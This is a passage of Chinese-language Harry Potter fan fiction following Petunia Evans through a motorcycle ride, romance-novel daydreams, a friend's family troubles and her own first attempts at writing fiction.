“这才刚开始呢,佩妮。”埃莉诺笑起来。佩妮听见伊索尔德咯咯的笑声从后面传过来,但是更大的是风声。
埃莉诺带她们行驶上了镇外一条笔直的仿佛一直延伸到天边的道路,车速还是很快,但总算不是猛烈地左摇右晃了。
“睁开眼,别害怕。”埃莉诺的声音穿过风声对她说。
“我睁不开。”佩妮说,迎面吹来的风太猛烈了,她想要落泪。
“把重心压低,慢慢习惯这风速。”佩妮听话地压低自己的身体,她战战兢兢地挪动,她不想死在这里。
“现在尝试睁开眼吧。”
佩妮咬紧牙关,风像小刀一样把她的眼皮划开,生理性的眼泪滚出来,根本止不住,但她强迫自己睁开眼睛,她看见了眼前的一切。
落日直直地悬挂在天边,大得看起来就像在她们眼前一样,它是暗金色的,带着晚霞把远处的天空染成绚丽的玫红色,几颗星子已经亮了起来。
视线的余光里,田野在飞驰中一闪而过,一排鸟儿从稻草人后面振翅飞上了天空。
她嗅到刚剪过的青草的味道,听见耳边自己鼓点般的心跳和血液流动的声音。
世界正以一种无法言喻的速度向后倒退。
凌厉的风化作了一股难以言喻的畅快的感觉,从佩妮的心底里升起。
“感受到这个风了吗?”
佩妮点点头。
“习惯了吗?”
佩妮再点点头。
“那么现在,把你的手放在我的车把上,我们要一起加速了。”
“你疯了吗?埃莉诺,怎么还要加速,噢,我一次摩托车都没有骑过,我们都会死在这里的!”佩妮绝望地大叫起来。
埃莉诺哈哈大笑起来:“不会的,佩妮,我经常跟伊索尔德这么玩,车把我握着呢,来把你的手放过来。”
佩妮内心挣扎着,犹豫地把自己的手挪到了摩托车的把手上,埃莉诺温暖的手一下就握了上来,不给她退出的机会:“我们要加速了,记得压低你的重心,睁开你的眼睛,不要对抗风,我们不征服风,我们习惯它。”
身后隐隐传来伊索尔德大声的笑声,但是风太大了,一下就把她的声音吹散了,只隐隐带来几个词,佩妮努力辨认出来,她在说:“加速,佩妮。”
谁拧动了车把,噢肯定不是佩妮自己,一定是埃莉诺,是她带着佩妮加的速。
我们要冲进地狱里了,佩妮绝望地想,但是从反光镜里她看见自己咧起了嘴角。
谁在笑?
她们冲进了落日里。
31.chapter30
佩妮坐在课堂上。
四年级开始,他们多了一节艺术鉴赏课。
负责上课的是一位看起来年龄很大的修女,她看起来已经很老了,身形看起来就像壁炉里燃尽的炉灰,随时都要倒塌。
“很高兴,又有新鲜的面孔加入我的课堂,现在,让我们从圣经开始。”老修女戴上她的老花镜,颤颤巍巍地翻开书本,那是一本崭新的书,与她苍老的指尖形成鲜明的对比。
佩妮的视线追着窗外树梢上跳跃的小鸟的影子。
她和伊索尔德在浪漫小说里度过了一个非常美妙的暑假。
“起初,神创造天地,地是空虚混沌;深渊上一片黑暗;神的灵运行在水面。”老修女捧起了圣经,用她苍老的声音读起来,一点温暖的风从打开的窗户里吹进来。
打开那些浪漫小说,她和伊索尔德落到一个巨大的舞台上。
舞台中间是一条无穷无尽的奔腾的河流。
“神说,要有光!就有了光。”
灯光亮起,女人们粉墨登场,她们被抛在河流边的岸上。
“神看光是好的,他就把光暗分开了。”
河水翻滚着,黑色的浪花打湿她们的衣角,咆哮着要吞噬她们。
“神称光为昼,称暗为夜。有晚上,有早晨;这是第一日。”
——噢这个世界里可没有太阳,只有奔腾不息的黑色的河流,和要渡河的女人们。
来,现在我们走近一点,灯光不要移到别处去,打到这里,对,让我们把聚光灯打在这些女人们身上。
一位身形修长的漂亮女人——噢,这是月光协奏曲里的女主角。她掀开钢琴盖,用纤长的手指在琴键上奏出有力的音符,音符如水银泄地,压制住河水的咆哮,一条音符搭成的桥横跨在河水上,她牵起裙摆踏了上去。
一个小男孩,噢不是,是一个女扮男装的小女孩——这是冬日烈火里的布伦南小姐,佩妮对她可算熟悉了。她拔出她锐利的长剑,对着翻腾的河水斩出属于她的一剑,“来吧,你休想挡住我前进的道路。”河水呜咽着,不甘地分开,露出一条道路,布伦南举着宝剑走了进去。
另外一个女孩穿着麻布裙子,赤着脚,散着头发,踩着一艘小船,手里拿着桨橹——这是海之宝的主角,她出身海上,她本来就是海的女儿,是海之宝。“在风浪中前行,可是我的看家本领。”她咯咯笑起来,把小船放入河流中,无视河水的怒吼,船桨轻轻一拨岸边,她像一片叶子,划入河水的波涛中。
还有其他各式各样的女人们,用各式各样的“武器”武装自己。
她们要渡河。
“你们退回去,女人们过不了河。”河流说。
“不,我们绝不后退,这边没有我们容身的地方,我们要到河岸对面去。”她们说。
可是河流太宽阔了,河水太湍急了,浪潮一个接一个,水下还有数不清的礁石。
浪潮要击垮音符做的桥了,那位桥上的女士要跌落进河水里了。分开的河水又要重新聚拢,在布伦南小姐的头顶合拢,要把她吞没了。还有礁石,那位撑船的女孩,海之宝故事里的主角,她的小船要撞上石头了!
他们出现了。
“请抓住我的手!”河水里冒出一个个俊美非凡的男人们,他们披着盔甲,带着宝剑,脚下踩着坚硬牢固的船板。
“你们看见我们了吗?”女人们的身影在黑色的河水中闪现。
“我们看见你们了,请抓住我们的手,河岸那边风和日丽,没有暴风雨,我们一起到那儿去。”
第一个男人接住了从散架的音符桥上跌落的女人。
第二个男人拔出他更加锐利的宝剑,重新斩开一条水路,牵住了布伦南小姐的手。
第三个男人对海之宝伸出手,“海之宝,跳到我的船上来,我的船更加坚固,我把舵给你。”海之宝跳到了他的船上,他依言把船舵递给了她,“现在看我的本事了。”海之宝自信地说。
其他的女人们也纷纷牵住了他们伸过来的的手。
河水不甘地咆哮,怒吼,但是它的河水无论如何都没有办法再把他们吞噬了。
脚尖触碰到坚实的地面,音符消失了,布伦南小姐收起了她的宝剑,海之宝从船上跳下来,男人们纷纷站在她们的身边,紧握她们的手。视线里是开满鲜花的草地,小鸟儿在鸣叫,捕食,阳光洒下来。
“神说:“要生养众多,治理这地,管理海里的鱼、空中的鸟和地上各样活物。”这是第六日。 ”
她们过河了。
伊索尔德和佩妮就在这群女人的后面,跟随她们一起渡河,亲眼看见着诡谲的波涛,与她们同享要被河水吞没的恐惧,被看到和握住的甜蜜,以及踏到岸上的欣喜。
动人的情绪席卷了佩妮,她想要微笑,也想要哭泣。
渡河的故事可真是精彩。
“天地万物都造齐了。到第七日,神歇了祂一切的工,安息了。这是第七日。”
“你们还有什么问题吗,孩子们。”老修女从老花镜后抬起眼看着他们。
佩妮从波澜起伏的思
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绪里回神,她根本没有听老修女说些什么,但是她环顾了一下四周,午后的阳光正好,大家都昏昏欲睡。
她感觉到老修女的视线滑过了自己,她不自然地动了动有些僵硬的身体,但老修女迅速收回自己的视线,低下头自顾自地翻到圣经的下一页。
“现在我们开启第二章。”
佩妮松了口气,撑着下巴,在昏昏沉沉之间,又沉入那绚丽的世界,感受情绪被带起的波澜。
暑假快结束的时候,那本冬日烈火快被伊索尔德看完了,书本在她的腿上摊开着,佩妮坐到了她的身边。
伊索尔德指着书中的一段话读起来:“布伦南小姐犹豫地看着她的宝剑,她问自己:我是否还需要再次挥动这把剑,像男人那样,为争取自己的东西而奋战?或者像众人所期待的那样,做个方方面面都称职合格的妻子,安安心心地做一个女人,只做一个女人该做的事?”这是她正式接受了费特南先生的心意,打败了叛军后,一个夜晚,她坐在属于她的城堡里发生的剧情。
“她为什么还要问这个问题?”伊索尔德问佩妮。
“她为什么还要问这个问题?”索菲看着佩妮,她的眼神仿佛像佩妮根本没有读懂这本小说一样,她解释,“她只是现在还没有看清自己的心罢了。但是费特南先生已经看见了真正的她,看穿了她的坚强和软弱,费特南先生会保护她的,她想做什么费特南先生都会支持她的,无论是继续握着她的佩剑,还是成为费特南先生的妻子。只是他们已经安全了,叛军被肃清,她的父亲也找到了,家族接纳了她,她成为了费特南先生的妻子,成为了城堡的女主人,有两千精兵围绕着他们的堡垒,她不需要再亲自拔出她的宝剑了。再说,还有费特南先生呢。”
“好了,别挡着我了,时间宝贵,我要看其他的书了。”
——“因为布伦南小姐爱费特南先生,我觉得是因为爱情,使她犹豫。”佩妮如此给信给伊索尔德,回答她提出来的这个问题。
佩妮抱着书包从灰与榆离开。
远处一条苏格兰头巾一闪而过,佩妮顿住了,她绝不会认错那条苏格兰头巾。那是薇拉的头巾,消失了很久的薇拉的头巾。
佩妮定睛想要再看一眼,但是一群人从旁边的商店里推门走了出来,有说有笑地穿过街头,挡住了她的视线。
“麻烦,让一下谢谢。”佩妮有些着急地冲上前,她拨开人群,勉力地穿过去。
“嗨,薇拉。”但等她好不容易穿过人群,眼前的街道空荡荡的,哪里有什么其他的人影。
32.chapter31
“嘿,佩妮。”普尔佳叫住了佩妮。屋外在下雨,暴雨拦住了他们回家的脚步,学生三三两两站在屋檐下,抬头看着天气,等待放晴的时候。
“一会儿我可以跟你一起回家吗,我想跟你说说话。”普尔佳问。
这是这么久以来普尔佳第一次主动叫住了佩妮,佩妮有些欣喜地答应了下来,她想知道普尔佳有没有看佩妮写给她的那本小说。那本小说是在原来送给伊索尔德的基础上改写的,写文的时候依旧十分痛苦,佩妮把自己的指甲又啃了一个遍,总算磕磕绊绊把它写完了。
伊索尔德很喜欢自己送给她的那本小说,那么普尔佳呢?
雨声转小,但路上的水洼仍可瞧见密集的雨点的波澜,佩妮看到有心急的学生将书包顶在头上,冲出了校门,她决定再等一下。
“今天的烹饪课很不错,不是吗?”普尔佳说。
“佩妮,和你一起做那个曲奇饼干,我很开心,我们曲奇做得超级棒欸。”
佩妮也很开心,她们把烤盘从烤箱里端出来的时候,饼干的色泽是非常标准的焦糖色。
“非常完美的作品。”空气里漂浮着黄油的香气,老师评价她们。
“我不想上学了。”普尔佳很小声地说。
佩妮立刻转过头看着她,普尔佳黑色的眼睛看着她,看见佩妮看过来,她冲佩妮扯了一下自己的嘴角。
“我爸爸想让我退学。”
佩妮没办法回应普尔佳的这个笑容,她环顾了一下四周,其他人都跟自己的朋友们呆在一起,她们身边没有其他人了,雨水劈里啪啦地打下来,雨声把她们都隔开了。
“妈妈的情况并不是很好,爸爸要照顾妈妈,他总是在家里抱怨,说妈妈现在跟外婆一样。”
“我外婆也是在妈妈这个年龄发的疯,有一天下大雨,妈妈没有看住她,她就冲出了家门,我们再也没有找到她。他们为外婆草草办了一个没有遗体的葬礼,外婆就“去世”了。”
佩妮张张嘴想说什么,但她觉得这个时候闭上她的嘴巴更合适一点。
“爸爸还要工作,虽然我另外一个妹妹有时会帮忙做饭,但他说他很累,他想把妹妹送到照顾隔壁镇上负责收容特殊儿童的机构去。”
“上个星期六爸爸带我去看了,离科克卧斯有点远,那里都是一些奇怪的孩子,他们长得很奇怪,有一个头很大的孩子抱着我,问我为什么爸爸妈妈很久不来了。只有一个校长,还有一个年级差不多60岁的护工负责他们的生活。”
“他们就好像被扔在了那个世界里。”
“我妹妹长得倒是一点都不奇怪,她只是,嗯怎么说呢,医生说,我妹妹是因为黄疸——这么多年我终于记住这个词了,她的大脑受到了不可逆损伤,她的智力和发育都会受到影响。”
“但她不是傻子,佩妮,她只是说话比别的小孩少一点,行动也比别的小孩慢一点。”
“从她出生起,就是我在照顾她,她有时候会握着我的手指,喊普尔佳,我不太确定,她连妈妈都不会说。”
“我问爸爸,可以不要丢掉她吗?”
“爸爸很生气,他说这不叫丢掉,我们会去看她的。她永远也没有办法进入正常人的社会了,送出去对大家都好。谁能全天给她提供贴身的照顾呢?”
“大部分的时候,她是一个麻烦,你需要看着她,不然她会把视线范围内一切可以抓到手的东西吃进去,她会没由来地尖叫,痛哭。”
“但是我又不是她的妈妈。虽然从她出生起,我就没有跟她分开过。”
“如果不上学的话,我就能花更多的时间照顾她,照顾家里。爸爸会轻松很多。”
佩妮觉得有什么东西在拉扯自己的心脏,她说话了,但是她觉得自己的声音干巴巴的。
“普尔佳,如果要退学的话,你需要让你爸爸去找阿加莎女士,是不是还要办手续?这很麻烦的,我是说你爸爸还要上班。”
“不需要,也不麻烦,就像薇拉一样,只要一直不来就好了,他们就会把你的位置留给别人。学校入学是免费的,我既不聪明,又不爱学习,我待在学校里,只会浪费学校的资源,应该把这些留给真正需要的人。佩妮,有很多人都不上学的。”
“我觉得你需要再考虑一下。”佩妮说,她很想喝水,她觉得自己的嗓子更干了,一定是刚刚的课堂试吃曲奇饼干的时候吃太多了。
普尔佳点点头:“我还没有决定呢。”
快想想办法,聊点轻松的,佩妮想,她对普尔佳扬起一个笑容:“你有看我给你的那本小说吗,我专门为你写的,送给你的礼物,普尔佳大战蝙蝠王子。”
普尔佳有一些歉意地看着佩妮:“对不起佩妮,每当我想打开书的时候,总有各种突发的事情打断我,我保证我一有空,就会把它看完的。”
雨停了,天空还是暗沉沉的,佩妮心里有一些焦急,今天晚上是诺拉的阅读之夜,她要赶紧回家帮妈妈把饭做好,然后早些出去,大雨已经耽误了她好一会儿时间了。
“那么我们回见,普尔佳。”
“我们到底生活在一个什么样的世界里啊?”索菲推开窗户看着窗外的雨声抱怨,又开始下雨了,她说:“无穷无尽的下雨,要么就是什么也看不见的雾霾,太无聊了,迟早有一天我要离开科克沃斯。”
她看着手上的书说:“像这些自由的女人们,拥抱伟大的爱情。”
佩妮顺着她的视线往窗外看过去,科克沃斯镇上那些工厂的烟囱在灰暗的夜色下,就像标枪一样直指天空。
一两只鸟儿从夜空中振翅飞过。
佩妮看着索菲。
不,这个世界一点也不无聊,这个世界可是存在魔法的,她的妹妹是一个女巫,在一个叫做霍格沃茨的学校上学,她见过会从手上跳出去的巧克力做的青蛙,也吃过能让人飞起来的糖果,她还亲眼见过摔碎的墨水瓶修复如初,还有用魔法变出来的蓝色红玫瑰。
噢,魔法是多么神奇的一件事。
但魔法又不曾真正属于她。
诺拉放下书的声音把佩妮惊醒,她转过身去,同喝茶的女人们一道露出期待的表情:“诺拉,最近有出什么新的好看的书吗?过去几个月的书都不太好看啊。”
但是很可惜,诺拉耸了耸她的肩,这个月新出的书她认为也都不好看。
“我评价最新出的小说,都是二流货色。”诺拉如此点评
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。
“这本小说,美其名曰“他拯救了她,而她教会了他什么是真正的爱。”诺拉举起一本书说,“但是别看它像砖头一样长,但是起码有三分之二的内容,是以男主角为第一视角的,主要讲的是里面的男主人公怎么收服庄园,创建他个人公司集团的事情。”
“拜托,这是浪漫爱情小说欸,谁要看男人的故事啊。”
佩妮非常同意。
女人们上去翻看这个月新出的书,但一连好几本小说,诺拉都指出了他们的不足,她们露出失望的表情。
索菲把书粗暴地合上:“我已经很久都没有看过好看的书了。”
“我已经给出版社写了回信,用了很激烈的言辞批评了他们最近的品味,要我说,他们这样是赚不到钱的。”诺拉义愤填膺地说。
佩妮还是借走了几本新出的小说,保险起见,冬日烈火也在里面。晚上她坐在自己的书桌前,虔诚地翻看她借阅的这几本小说,它们的封面十分好看,佩妮心中还是抱有了一些隐隐地期待。
但是佩妮一个晚上就把这些小说翻完了,她浪费了整整一个晚上的时间,直到快要睡觉了,都没有看到令她满意的小说。
佩妮产生了一种被欺骗的愤怒感。这些书索然无味,这些小说人物并不出众,情节实在是老套,就像老太太织的围巾,又长又难看。诚如诺拉所言,是二流小说。
她不喜欢这些故事,也不满意这些人物,她从抽屉里掏出自己的笔记本,决定写点什么。她想先修改她送给普尔佳的故事,现在她觉得这个故事不太完美,但是一下笔,她就顿住了,这个故事怎么修改,都不可能完美。要不续写送给伊索尔德的那个故事,主角刚上了学,可是蝙蝠王子都被打败了,在学校里,小女巫又能干什么呢?再说,暑假她和伊索尔德看了那么多精彩的浪漫爱情小说,对比之下,她写的故事实在是太没趣了。
不写了,下次再说。
但她总还是想写点什么。
最后她扯出信纸给伊索尔德写了一封信:“亲爱的伊索尔德,最近的浪漫爱情小说实在是太过于无聊了。”
“有一本书,我觉得它的内容简直是诈骗,斯蒂芬先生,就是这本小说里花费了最多笔墨描写的男人,他打开了女主角的心,他唤起了她的爱,两个人好不容易要走到一起了。然后他死在了一场叛乱中,呃,我们的女主最后跟他的弟弟结婚了。”
“噢,还有这一本书,它还不错,她的文笔非常的优美。但是男主人公对女主角造成太多伤害了,他不信任她,他甚至听信了别人的谗言,把她交给了自己的敌人。结果结局就一页纸,一句话,他对她说对不起,她就扑进了他的怀里,原谅他了。我完全看不出男主角的真心。”
最后不得已,佩妮重新翻起了那本冬日烈火。
打开书,她一下就被拉进了那个舞台,灯光再度亮起,她换上布伦南小姐的装束,佩戴上了宝剑,同之前的任何一次一样,向咆哮的河水冲了过去,等待着渡河时,费特南先生向她伸出的手掌。
没有任何意外,她们又一次成功到了彼岸,踏上岸边,布伦南小姐收起自己的宝剑,佩妮合上书,夜晚的寂静就像潮水一样将她包围了。
33.chapter32
嗨,我又来了,佩妮再一次站到了紫藤路17号二楼的那个书架前面。
她再次抬头看这个书架,觉得自己似乎离书架的最上层更近了一点,它看起来好像没有当初那么高大了,这可能是因为这段时间她长高了。
伊索尔德给她来信,告诉她总是看同一类型的小说容易产生疲倦,她可以尝试看一些别的书籍。
可是我能看什么呢?
佩妮重新回到了紫藤路17号。
她仍记得第一次尝试跟书架上的书沟通的时候,被他们拒绝的茫然。
嘿,这段时间我已经看了很多很多书了,学习了很多你们的语言,现在我能再跟你们说说话吗?
佩妮的指尖再次划过这些书本,想象着她和伊索尔德坐在书架下的时光。
她把那些书本抽出来,一本不行,就换下一本,她总能找到一本愿意跟她沟通的书籍。
佩妮就坐在窗户旁,感受阳光洒进来的温度,欣赏着窗外的花草。她手上拿着那些书,这些书仍然晦涩难懂,但有一些给她开了一道门缝,灯光从门缝里洒进来,透过那投射出来的微弱的灯光,她瞥见屋内影影幢幢的情形,虽然一切都好像蒙上了一层磨砂玻璃般模糊。
佩妮心中隐隐有一些惊喜,她总算推开了一点门,如果她再努力一点,是不是就可以把门全都推开了?
她用手指着书本上那些陌生的词汇,一个词一个词缓慢读着,这能让她保持专注,不至于看一会儿就神游天外,她决定再推开一点门,她一定要看清楚屋子里的场景。
推了几天的门,佩妮决定缓缓,因为出版社给薇拉寄过来了新的浪漫小说。
佩妮抱着书路过炉灰巷的时候,她停住了脚步。
她有好长一段时间没有正眼瞧过炉灰巷,它的街道变宽了,街道里原先堆着的推车、破木板和木箱都不见了踪影。
炉灰巷口子前面站了一大波人。
佩妮犹豫了一下,钻进了人群,在人群里借助自己身形的优势像一尾鱼一样游到了人群的最前面。
佩妮一眼就认出了戈斯警长的车。
戈斯警长穿着他的警服,看起来好像又胖了,他的警服前胸上泅了好大一块汗渍,他站在人群的前面,像一堵墙,挡住了好奇的人。
后面是什么?
佩妮微微眯起了眼睛,打量起戈斯警长的身后。
炉灰巷的入口开了一家新的杂货铺。哪怕是经过了改造,炉灰巷的房子看起来还是破旧不堪,这家杂货铺连名字都没有,像是原来的二手房屋改建而成,绿漆木质框玻璃门的漆面已经斑驳不堪了,木制的边框满是细小的裂缝,玻璃上蒙了厚厚的一层污渍,一块抹布被人握着,像汽车的摆刷一样,摇摆地擦拭玻璃上的污渍,但是这个污渍实在是太厚了,擦了半天,只在玻璃上留下一道道白色的痕迹。
一个女人推开门走了出来,开门的间隙里,佩妮瞥见杂货铺灰暗的室内,她一眼就看见,那里面正在擦玻璃的,是薇拉。
她的心剧烈地跳动了起来。
那条苏格兰头巾不是错觉,薇拉你在这里,你并没有消失。
走出来的女人是薇拉的妈妈,颧骨在脸上投下锋利的阴影,她的左额上有一条淡红痕,佩妮一下子就想起了那个下午,天气也是一样的热呀,她想。薇拉的妈妈抿着唇往杂货铺的门把手上挂了一个“营业中”的牌子,就迅速闪进了屋子,破旧的玻璃门在她身后砰地一声关上。
开关门的时间太短了,佩妮只瞥见了一眼薇拉的身影,她看起来在很专注地擦着玻璃,一个眼神也没有往外面看。
她有一些遗憾。
人群骚动起来。
戈斯警长仿佛暗流中岿然不动的礁石,稳稳往那儿一站,伸出大手拦住看上去神情激动的人。
“我说,如果你们还想拿到自己的欠款,就不要把他们家逼太急了。”戈斯警长说,他的声音像教堂的钟声,洪亮地穿过躁动的人群。
“这是政府租借给温斯顿太太的房子,她已向我转达,挣来的钱都将用于还债。”
还有人想冲上去:“你知道那段时间我们过的什么日子吗?”他冲着屋里头的人大喊。
戈斯警长抓住了这个人的手腕,他沉下声音看着他,很有警察局长的气势:“有警察局的保证,你难道还不信吗?活人还能给钱,死人可就什么都给不出了。”
那个被戈斯警长按住的男人冲杂货铺的门口吐了一口唾沫,转身走了。
“薇拉她妈妈竟然在炉灰巷开了一家杂货铺。”晚餐的时候伊万斯太太一边给佩妮盛汤,一边说。
“炉灰巷,”爸爸的眼睛盯着电视机屏幕,“虽然之前不知道为什么突然改造了,但是那个地方还是不要常去的比较好,毕竟以前治安一直都不太好。”
“那个杂货铺没有开在炉灰巷的里面,它就在入口处。”佩妮插了一句嘴,换来了伊万斯太太
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不赞同的声音:“你怎么跑那里去了,我们以前不是跟你说过炉灰巷不安全吗,一个人不要去哪里。”
佩妮提高了自己的音量:“我没有专门过去,我只是路过,正好看到了而已。”
爸爸伸出遥控器把电视里的歌舞频道换成了新闻频道。“油价又上涨了,真的要开不起车了。”爸爸抱怨道,他看了伊万斯太太一眼:“这个汤有一点淡了,可以请你去厨房拿一下盐罐吗?谢谢你,玛格丽特。”
“噢,确实淡了,等等,我去拿盐罐。”妈妈尝了一口,转身进了厨房。
佩妮心不在焉地搅着自己碗里的汤。
她站在杂货铺的门前,玻璃门上还是一层厚厚的污渍,她看不清里面,有人的身影在玻璃门后走过,玻璃门的污渍太厚了,佩妮根本不确定里面是薇拉,还是薇拉的妈妈,她往后退了一步,决定转身离去。
第二次,她鼓起勇气伸出手,想要拉开玻璃门。一声铃响,有好几个女人提着篮子从里面推门出来,她们什么表情也没有,其中一个瘦高的女人用她灰色的眼睛瞥了一眼,佩妮便迅速收回了手,低下头匆匆跑走。
现在她又重新站到了杂货铺门前,她等了一会儿,里面很安静,没有人要出来,但是就在她鼓起勇气要拉开玻璃门的时候,她听见了右手边由远及近传来了单车铃铛声还有男生们的说笑声,她听见了本·肖恩的声音。佩妮迅速跳下台阶,左右四顾了一下,跳到了旁边粗壮的白桦树的后面。
本·肖恩带着一群跟他年龄差不多大的男生过来了,他们把单车停在杂货铺前,每个人都穿着二手的工厂工作服,踩着雨鞋,不同的只是身上的污渍的多少,本·肖恩走在最前面,他的朋友们在后面推搡着他,他看起来很开心,但是他脸上的笑容使佩妮的心开始颤抖。
他对他的伙伴说:“我会替我爸爸和你们的爸爸讨回这些钱的。”说着他就推开了杂货铺的门。
没多时他们就出来了,本·肖恩给自己点上了一支烟,他左手提着一袋卫生纸,左侧的腋下还夹着一袋洗衣粉。他的同伴们陆陆续续从杂货铺里出来,有些人手上拿着面包和碳酸汽水,有些人手上则拿着廉价的塑料玩具和贴纸。
他们有说有笑地跨上自行车,车铃一响,骑远了。
今天也不合适,佩妮心想,她低下头,金黄色的白桦树落叶落在她的脚边,踩上去发出细碎的声响。
走吧,她告诉自己,再找个机会再过来。
34.chapter33
佩妮坐在书桌前,看着诺拉给她的新书,封面是一个女孩低垂着头,穿着时尚的衣服,看起来很漂亮*。这本书被诺拉评价为“三星半”,她对它的评价是:“男主角出来的太晚了,我差点认错了真正的男主角。”
“我认为它不够浪漫,但是这是最近出的书里比较好的一本了,如果你不介意。”诺拉把书递给佩妮,“你可以看一下。”
佩妮花了几个晚上的功夫把这篇小说读完。
她落入那舞台上,这回她扮演一名进军纽约服装设计界的女设计师伊丽莎白,她用独特的时尚审美天赋和勇气武装自己,面对翻滚咆哮的黑色河水。
“与伊丽莎白一同到纽约的,还有另外一名女设计师叫苏格。”
“一开始的故事,总是围绕着这两个女孩,但是苏格逐渐退出了叙事舞台。因为她深陷于一段不幸的婚姻,这段婚姻使她形销骨立,且在极端的竞争环境中,她慢慢地道德败坏了。”
“但是伊丽莎白仍保留自己的天性。她初到纽约时,就已有足够的勇气敢于反对设计学院的教授。她这种挑战权威的行为赢得了学院泰斗之一卡洛的注意,随后他们便在一起了。”
“伊丽莎白深爱卡洛,但跟卡洛在一起时,她也饱受折磨,因为他有时会一整周不说一句贴心话,不看她一眼,也不会悄悄给她一点温柔。此外,他还要求她不能依赖他。”
看到这里的时候,佩妮揪心起来。
“但随着她在学校开始崭露头角并变得越来越独立,他们的关系开始变得平等起来了,有一天,伊丽莎白从梦中醒来的时候,她发现自己不必再抱着卡洛不放,也不必再乞求他给她的温存——她的工作正等着她,而她也迫不及待地想要赶紧开始工作。”
“虽然在几个关键的时刻,伊丽莎白获得了更有权势的男性的帮助,但是她确有真才实学,她大胆尝试了几次,这让她的小设计公司取得了成功,在她终于做大了那间公司后,她遇到了皮特·布伦特先生。”
佩妮松开了自己的眉头。
“这才是真正的男主,”诺拉说,“他直到书的第321页才出现,你说他出现得有多晚。”
“皮特·布伦特深沉内敛、富有魅力且事业有成,此外还很自然直率、温文尔雅和心思缜密。”
“但是伊丽莎白直到挫败了苏格的暗算,避免后者盗用她的设计并毁掉她的事业后,她才重新回到皮特身边。”
在大结局中“伊丽莎白坐在她的独立办公室里,开始思索未来的安排。她要先去洛杉矶尝试设计其他的服装样式,为一个又一个的明天寻找灵感和出人意料的点子。”**
“至于皮特,她不知道这段关系会持续多久。我爱她,她想着。即便生活让我们分道扬镳,我也会一直爱着他。不对,她改口道,强迫自己必须诚实,因为她知道只有保持真实,她才能尽其所能地过好每一刻。它将会持续至消失的那一刻。如果那是一生一世,那非常棒。如果它只能持续一段时间,那也很不错。没有绝对的天长地久。只能尽人事,听天命。”**
“伊丽莎白抽出了一本速写本,在画页顶端写下来“要素”二字。她看着那字,暗自思忖,这时要勾勒出自己的人生,还是要画出一件新时装的线条。之后,她对自己点了点头,便踢掉了鞋子,开始埋头于工作之中。”
这就是大结局了。
“这个结尾很出人意料,而且伊丽莎白作为一名时尚设计师,还开了一家属于自己的公司,这个故事实在精彩”诺拉对佩妮说:“但是结尾留下了太多的悬念了,而且男主角也出现的太晚了,就像索菲说的,它不够浪漫,所以我最后给它打三星半,我是这么跟出版社反馈的。”
这是一本只有三星半的小说,佩妮想。
佩妮看着结局的最后一行字。
她感觉自己的脚落到一片新的,柔软的土地上,伊丽莎白小姐带着她过了河。但是她们没有去到往常的岸上,伊丽莎白小姐没有停下来,她一直往前走,她一个人,身边没有那像往常渡河时,牢牢牵着她手的男人。
伊丽莎白小姐就这么一直往前走着,但是佩妮得停下来了,文字的桥梁已经到了尽头,她被迫和伊丽莎白小姐分开了,她看不见这个河滩上伊丽莎白小姐前面到底是什么,那边也没有灯光照着,是一片朦胧的黑暗。
伊丽莎白小姐回过头,对佩妮挥了挥手。
“再见,佩妮。”
随后她转头,独自走进了舞台边际的黑暗里。
佩妮重新翻开这本书,在河的这一边,整装待发的伊丽莎白小姐在整理装束,一边低头系着腰带,一边对佩妮微笑:“准备好了吗,现在我们要再次渡河了。”
佩妮合上这本书,她从旁边的书堆里翻出那本剧情早已烂熟于心的冬日烈火。
现在站在河边上,面对河水的是布伦南小姐,还是那副小男孩一样的打扮,低头擦拭着她的宝剑。
佩妮冲上去牵住布伦南的手,让布伦南小姐带着她再次渡河,踏上岸边的时候,布伦南小姐收起了她的宝剑,费特南先生搂住了她的肩膀,他们踏上岸了,他们要在这岸边驻扎,开始崭新的人生了。
佩妮从布伦南小姐身上跳下来,她转到她的面前,仔细端详着她,比起渡河前那个小男孩的形象,她现在看起来更高了,身上显露出了明显的女性的特征,她的表情不再像在河那边的时候充满了不屑和愤恨,现在看起来更温柔更平和了,她把佩剑解下来了。
“等一等,”佩妮叫住了布伦南小姐,“
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先别解下你的佩剑。”
佩妮回头看了一眼自己的身后,舞台的边际仍然是无穷无尽的黑暗,足以吞没任何的光线,她现在踩的岸边土地坚实,有阳光、花香、小动物。
“我们就到终点了吗?”佩妮拦住布伦南小姐。
“渡过河就安全了吗?万一前面还有要走的路呢,万一危险还没有完全解除呢?布伦南小姐,现在就可以把剑放下了吗?”
但是布伦南小姐并没有回应她,她只是如之前每一次一样,在被文字设定好的程序里,握住费特南先生的手,在惊心动魄地渡过河后安全的河岸边坐下,然后等待佩妮与她在河那边的下一次重逢以及下一次冲锋。
佩妮决定写一本新的小说,这本小说将以布伦南小姐的婚后生活为起点,她并没有放弃她在剑术上的天赋,而是成为了一名伟大剑术家的故事。
“布伦南小姐开始重新审视自己的宝剑。”一鼓作气从布伦南小姐婚后的某一天收拾阁楼上的东西,打开箱子,发现自己束之高阁的宝剑开始,到她重新舞起了她的宝剑,感受到一股久违的力量感,重新审视起她的宝剑后。
——佩妮又陷入了抓耳挠腮的境地。
然后该怎么写,布伦南小姐本身剑术就不错,婚后她打算从哪里继续精进她的剑术?
精进了她的剑术后她要干什么?现在已经没有敌人了。
佩妮啃着自己的手指甲,如果要给她重新设置敌人的话,故事背景又是怎样的,佩妮对这个陌生的时代简直一无所知,课堂上也不教这些玩意儿啊。以及学习剑术需要一些什么能力,有什么词汇可以显得专业,冬日烈火诗歌一般的文笔塑造了惊才绝艳的布伦南小姐,佩妮应该怎么描绘,才能让自己笔下的布伦南小姐还是她自己。
不知不觉,她又把她的十个手指盖给啃秃了。
“伊万斯小姐,请把伞和雨衣放在图书馆的外面,上面的泥水会弄脏图书馆地板的。”又是一个湿淋淋的雨天,图书馆管理员在窗台内探出头,对着一直在往下滴水的佩妮喊。
“我知道了。”佩妮把滴水的雨衣和雨伞统统都挂到了门外边,脱下雨鞋,从包里拿出早就准备好的干净的皮鞋换上,把湿漉漉的刘海拨到一边,走进了图书馆。
“记得不要喧哗。”佩妮经过图书馆管理员窗台的时候,他敲了敲挂在窗台下面的提示板。
她把一本词典和大部头的历史书放到桌上,然后掏出了自己的笔和记录本。现在她的对面既没有斯内普那个小怪物,莉莉也不在旁边,她想看什么就看什么。一个人在图书馆的阅读时光既轻松又自由,都说了她才是图书馆的常客。
唯一美中不足的是,佩妮看了一眼自己的记录本,记了太多东西,她得去买一本新的了。
35.chapter34
“嘿,我想要一本笔记本。”佩妮推开杂货铺的门轻声说。
